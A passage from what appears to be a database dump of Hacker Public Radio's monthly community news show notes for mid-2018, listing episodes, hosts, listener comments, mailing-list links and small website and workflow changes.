href=\"https://hackerpublicradio.org/eps.php?id=2557#comments\" target=\"_blank\">hpr2557</a></strong>\n(2018-05-22) \"<em>Styx -- The Purely Functional Static Site Generator</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2557#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-04-05:\n\"Addendum: Styx was written by Eric Sagnes\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2560#comments\" target=\"_blank\">hpr2560</a></strong>\n(2018-05-25) \"<em>General Data Protection Regulation (GDPR)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2560#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-05-24:\n\"The date\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2560#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2018-05-25:\n\"Nice TLDR.\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-May/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-May/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"website-changes\">Website changes</h3>\n<p>There have been two changes to the HPR website in May:</p>\n<ul>\n<li><p>The tags for a show are now being displayed in the header of each show page</p></li>\n<li><p>A fault in the comment display code, which resulted in comments containing the percent sign (%) not to be displayed, has been corrected.</p></li>\n</ul>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\"><code>Windigo</code></a> for sending in updates in the past month.</p>\n<p>Over the period tags and/or summaries have been added to 2 shows which were missing them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2586,'2018-07-02','HPR Community News for June 2018',3510,'HPR Volunteers talk about shows released and comments posted in June 2018','\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2565\" target=\"_blank\">2565</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-06-01</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2565\" target=\"_blank\">HPR 2017 New Years Eve show part 7</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=158\" target=\"_blank\">Various Creative Commons Works</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2566\" target=\"_blank\">2566</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-06-04</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2566\" target=\"_blank\">HPR Community News for May 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2567\" target=\"_blank\">2567</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-06-05</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2567\" target=\"_blank\">Son of Hunky Punk</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2568\" target=\"_blank\">2568</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-06-06</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2568\" target=\"_blank\">Personal finance</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2569\" target=\"_blank\">2569</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-06-07</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2569\" target=\"_blank\">Pandemic: Reign of Cthulu board game review</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2570\" target=\"_blank\">2570</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-06-08</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2570\" target=\"_blank\">Penguicon 2018 Report</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2571\" target=\"_blank\">2571</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-06-11</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2571\" target=\"_blank\">Kill Dr. Lucky</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2572\" target=\"_blank\">2572</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-06-12</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2572\" target=\"_blank\">What\'s in my tool kit</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">bookewyrmm</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2573\" target=\"_blank\">2573</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-06-13</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2573\" target=\"_blank\">Foundations of git rebase</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2574\" target=\"_blank\">2574</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-06-14</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2574\" target=\"_blank\">Personal cash-only finance</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2575\" target=\"_blank\">2575</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-06-15</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2575\" target=\"_blank\">Quick Tips June 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2576\" target=\"_blank\">2576</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-06-18</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2576\" target=\"_blank\">My swedish and german podcasts part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2577\" target=\"_blank\">2577</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-06-19</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2577\" target=\"_blank\">Emigration</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2578\" target=\"_blank\">2578</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-06-20</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2578\" target=\"_blank\">LinuxLUGcast 102 the lost episode</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2579\" target=\"_blank\">2579</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-06-21</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2579\" target=\"_blank\">Ubuntu 18.04 Mate</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2580\" target=\"_blank\">2580</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-06-22</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2580\" target=\"_blank\">Diabetes</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2581\" target=\"_blank\">2581</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-06-25</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2581\" target=\"_blank\">My new 3D printer - impressions of the Creality Ender 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2582\" target=\"_blank\">2582</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-06-26</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2582\" target=\"_blank\">3 Contribution case studies</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2583\" target=\"_blank\">2583</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-06-27</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2583\" target=\"_blank\">Random Rant</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2584\" target=\"_blank\">2584</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-06-28</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2584\" target=\"_blank\">Plot Twists In Storytelling</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2585\" target=\"_blank\">2585</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-06-29</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2585\" target=\"_blank\">Check to see if a Remote Control is working</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 20 comments in total.</p>\n<p>There are 10 comments on\n7 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1992#comments\" target=\"_blank\">hpr1992</a></strong>\n(2016-03-22) \"<em>How I\'m handling my podcast-subscriptions and -listening</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1992#2\" target=\"_blank\">Comment 2</a>:\nfolky on 2018-06-07:\n\"Changed links to my gits\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2158#comments\" target=\"_blank\">hpr2158</a></strong>\n(2016-11-09) \"<em>Art Club</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2158#1\" target=\"_blank\">Comment 1</a>:\nMathMann on 2018-06-05:\n\"Art Club\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2542#comments\" target=\"_blank\">hpr2542</a></strong>\n(2018-05-01) \"<em>How I helped my dad run a static website using SparkleShare</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2542#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-06-15:\n\"What is SparkleShare?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2552#comments\" target=\"_blank\">hpr2552</a></strong>\n(2018-05-15) \"<em>What is stow?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2552#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-06-15:\n\"Clarification\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2557#comments\" target=\"_blank\">hpr2557</a></strong>\n(2018-05-22) \"<em>Styx -- The Purely Functional Static Site Generator</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2557#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2018-06-15:\n\"Killer feature\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2558#comments\" target=\"_blank\">hpr2558</a></strong>\n(2018-05-23) \"<em>Battling with English - part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2558#1\" target=\"_blank\">Comment 1</a>:\nMichael on 2018-06-14:\n\"Great idea!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2558#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2018-06-14:\n\"Thanks Michael\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2558#3\" target=\"_blank\">Comment 3</a>:\nHipstre on 2018-06-15:\n\"Battling With English\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2558#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2018-06-15:\n\"Thanks Hipstre\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2562#comments\" target=\"_blank\">hpr2562</a></strong>\n(2018-05-29) \"<em>I bought a laptop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2562#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-06-15:\n\"Pinebook\"</li></ul><br/>\n</li></ul>\n<p>There are 10 comments on 7 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2566#comments\" target=\"_blank\">hpr2566</a></strong>\n(2018-06-04) \"<em>HPR Community News for May 2018</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2566#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-06-15:\n\"The group of the tab is in the windowing (of it)\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2566#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2018-06-15:\n\"I don&#39;t use multiple windows\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2568#comments\" target=\"_blank\">hpr2568</a></strong>\n(2018-06-06) \"<em>Personal finance</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2568#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2018-06-11:\n\"Receint pocdast on US Social Security\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2574#comments\" target=\"_blank\">hpr2574</a></strong>\n(2018-06-14) \"<em>Personal cash-only finance</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2574#1\" target=\"_blank\">Comment 1</a>:\nJWP on 2018-06-25:\n\"This Show about Cash\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2576#comments\" target=\"_blank\">hpr2576</a></strong>\n(2018-06-18) \"<em>My swedish and german podcasts part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2576#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-06-19:\n\"Home country of choice\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2576#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2018-06-19:\n\"A english/german recommendation\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2576#3\" target=\"_blank\">Comment 3</a>:\nfolky on 2018-06-20:\n\"Here is the link\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2579#comments\" target=\"_blank\">hpr2579</a></strong>\n(2018-06-21) \"<em>Ubuntu 18.04 Mate</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2579#1\" target=\"_blank\">Comment 1</a>:\nJWP on 2018-06-25:\n\"Great Little update\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2582#comments\" target=\"_blank\">hpr2582</a></strong>\n(2018-06-26) \"<em>3 Contribution case studies</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2582#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-06-27:\n\"Would love HPR feedback\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2585#comments\" target=\"_blank\">hpr2585</a></strong>\n(2018-06-29) \"<em>Check to see if a Remote Control is working</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2585#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2018-06-29:\n\"There is one more...\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-June/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-June/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"workflow-changes\">Workflow changes</h3>\n<p>There has been a change to the HPR workflow this month:</p>\n<ul>\n<li><p>Earlier in 2018 a change was made to the database to add an additional version of the host name. This is intended to be spoken by <code>espeak</code> and can hold an alternative spelling which <code>espeak</code> handles better in the audio preamble of shows. In this way the name <code>\'thelovebug\'</code>, for example, which <code>espeak</code> renders as <code>&quot;Thel Ove Bug&quot;</code> can be stored as <code>\'TheLoveBug\'</code>, which <code>espeak</code> pronounces correctly.</p></li>\n<li><p>The use of this field has now been incorporated into the workflow.</p></li>\n<li><p>Many of these &quot;espeak names&quot; were changed in the database, but we probably haven\'t catered for them all. If your name is being mispronounced by <code>espeak</code> let us know and we\'ll try and fix it.</p></li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2611,'2018-08-06','HPR Community News for July 2018',5053,'HPR Volunteers talk about shows released and comments posted in July 2018','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=366\" target=\"_blank\">Philip</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2586\" target=\"_blank\">2586</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-07-02</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2586\" target=\"_blank\">HPR Community News for June 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2587\" target=\"_blank\">2587</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-07-03</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2587\" target=\"_blank\">Cleaning out your Digital Gutters</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2588\" target=\"_blank\">2588</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-07-04</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2588\" target=\"_blank\">Miniature painting</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2589\" target=\"_blank\">2589</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-07-05</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2589\" target=\"_blank\">Saving Money: a response to Klaatu\'s Personal Finance Series</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2590\" target=\"_blank\">2590</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-07-06</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2590\" target=\"_blank\">Blowing a PC Power Supply</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2591\" target=\"_blank\">2591</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-07-09</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2591\" target=\"_blank\">International Troubleshooting</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2592\" target=\"_blank\">2592</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-07-10</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2592\" target=\"_blank\">Tech Talk With Allison</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2593\" target=\"_blank\">2593</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-07-11</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2593\" target=\"_blank\">Intro to De Bellis Antiquitatis</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2594\" target=\"_blank\">2594</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-07-12</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2594\" target=\"_blank\">Using nmtui, the Network Manager Terminal User interface</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=366\" target=\"_blank\">Philip</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2595\" target=\"_blank\">2595</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-07-13</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2595\" target=\"_blank\">New laptop bargain?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2596\" target=\"_blank\">2596</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-07-16</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2596\" target=\"_blank\">Battling with English - part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2597\" target=\"_blank\">2597</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-07-17</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2597\" target=\"_blank\">How to Fix a Remote with Buttons that Don\'t Work</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2598\" target=\"_blank\">2598</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-07-18</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2598\" target=\"_blank\">Calculating planetary orbits in Haskell</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2599\" target=\"_blank\">2599</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-07-19</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2599\" target=\"_blank\">Fitting a 3.5mm adapter to a bluetooth receiver.</a></td>\n    <td><a 